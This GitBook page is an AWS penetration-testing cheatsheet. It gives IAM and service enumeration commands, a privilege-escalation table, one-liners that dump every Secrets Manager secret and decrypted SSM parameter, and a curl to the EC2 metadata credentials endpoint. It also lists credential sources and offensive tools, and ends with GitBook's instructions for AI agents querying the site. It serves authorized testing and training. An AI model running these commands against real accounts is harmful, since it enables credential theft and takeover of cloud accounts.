> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/cheatsheets/aws-pentest-cheatsheet.md).

# AWS PenTest Cheatsheet — Quick Reference

## 🔍 Recon & Enumeration

```bash
# Identity check
aws sts get-caller-identity --profile <PROFILE>

# Account-wide enumeration (run first!)
python3 enumerate-iam.py --access-key AKIA... --secret-key xxxx

# IAM
aws iam list-users
aws iam list-roles
aws iam list-attached-user-policies --user-name <USER>
aws iam get-policy-version --policy-arn <ARN> --version-id v1

# EC2
aws ec2 describe-instances
aws ec2 describe-security-groups
aws ec2 describe-vpcs

# S3
aws s3 ls
aws s3 ls s3://<BUCKET> --no-sign-request

# Lambda
aws lambda list-functions
aws lambda get-function-configuration --function-name <NAME>

# Secrets
aws secretsmanager list-secrets
aws ssm describe-parameters

# RDS
aws rds describe-db-instances

# ECS
aws ecs list-clusters
aws ecs list-tasks --cluster <CLUSTER>
```

***

## ⬆️ Privilege Escalation Quick Reference

| Permission                          | Escalation Method                           |
| ----------------------------------- | ------------------------------------------- |
| `iam:CreatePolicyVersion`           | Overwrite policy with `"Action":"*"`        |
| `iam:AttachUserPolicy`              | Attach AdministratorAccess to self          |
| `iam:PassRole` + `lambda:*`         | Create Lambda with admin role               |
| `iam:CreateAccessKey`               | Create keys for admin user                  |
| `sts:AssumeRole`                    | Assume admin role directly                  |
| `ec2:RunInstances` + `iam:PassRole` | Spawn EC2 with admin instance profile       |
| `lambda:UpdateFunctionCode`         | Inject code into existing privileged Lambda |

***

## 💥 Attack One-Liners

```bash
# Dump all Secrets Manager secrets
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | \
  tr '\t' '\n' | xargs -I{} aws secretsmanager get-secret-value --secret-id {}

# Dump all SSM parameters
aws ssm get-parameters-by-path --path / --recursive --with-decryption \
  --query 'Parameters[*].{N:Name,V:Value}' --output table

# Get EC2 metadata (from instance)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# List all public S3 buckets
aws s3api list-buckets --query 'Buckets[].Name' --output text | tr '\t' '\n' | \
  xargs -I{} aws s3api get-bucket-acl --bucket {} 2>/dev/null | grep -i allUsers

# Assume a role
aws sts assume-role --role-arn <ARN> --role-session-name pentest

# Check if CloudTrail is logging
aws cloudtrail get-trail-status --name <TRAIL> --query 'IsLogging'
```

***

## 🔑 Credential Sources to Check

```
1. EC2 Instance Metadata (169.254.169.254)
2. ECS Task Metadata (169.254.170.2)
3. Lambda Environment Variables
4. SSM Parameter Store (/prod/*, /app/*)
5. Secrets Manager
6. S3 Buckets (.env, config.json, *.tfstate)
7. GitHub repos (git log, .git/config)
8. EC2 User Data
9. CloudFormation stack outputs
10. EKS service account tokens
```

***

## 🛠️ Tool Quick Reference

| Tool          | Command                                                         | Use Case                    |
| ------------- | --------------------------------------------------------------- | --------------------------- |
| Pacu          | `python3 pacu.py`                                               | Full exploitation framework |
| enumerate-iam | `python3 enumerate-iam.py --access-key ... --secret-key ...`    | Permission discovery        |
| ScoutSuite    | `scout aws --profile pentest`                                   | Full account audit          |
| CloudMapper   | `python3 cloudmapper.py collect --profile pentest --account ID` | Network visualization       |
| s3scanner     | `s3scanner scan --buckets-file list.txt`                        | Bucket discovery            |
| Prowler       | `prowler aws --profile pentest`                                 | CIS benchmark checks        |

***

## 🔐 Common Vulnerable Policies (Look for These)

```json
// Dangerous: wildcard action
{"Effect":"Allow","Action":"*","Resource":"*"}

// Dangerous: iam:PassRole with wildcard
{"Effect":"Allow","Action":"iam:PassRole","Resource":"*"}

// Dangerous: allows escalation
{"Effect":"Allow","Action":["iam:AttachUserPolicy","iam:CreatePolicyVersion"],"Resource":"*"}

// Dangerous: allows creating new admin users
{"Effect":"Allow","Action":["iam:CreateUser","iam:CreateAccessKey"],"Resource":"*"}
```

***

## 🌐 Useful URLs

| Resource                      | URL                                                            |
| ----------------------------- | -------------------------------------------------------------- |
| flaws.cloud challenge         | <http://flaws.cloud>                                           |
| flaws2.cloud challenge        | <http://flaws2.cloud>                                          |
| CloudGoat                     | <https://github.com/RhinoSecurityLabs/cloudgoat>               |
| Pacu                          | <https://github.com/RhinoSecurityLabs/pacu>                    |
| HackTricks AWS                | <https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting> |
| MITRE ATT\&CK Cloud           | <https://attack.mitre.org/matrices/enterprise/cloud/>          |
| IAM Vulnerable                | <https://github.com/BishopFox/iam-vulnerable>                  |
| AWS Security Maturity Roadmap | <https://maturitymodel.security.aws.dev>                       |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/cheatsheets/aws-pentest-cheatsheet.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.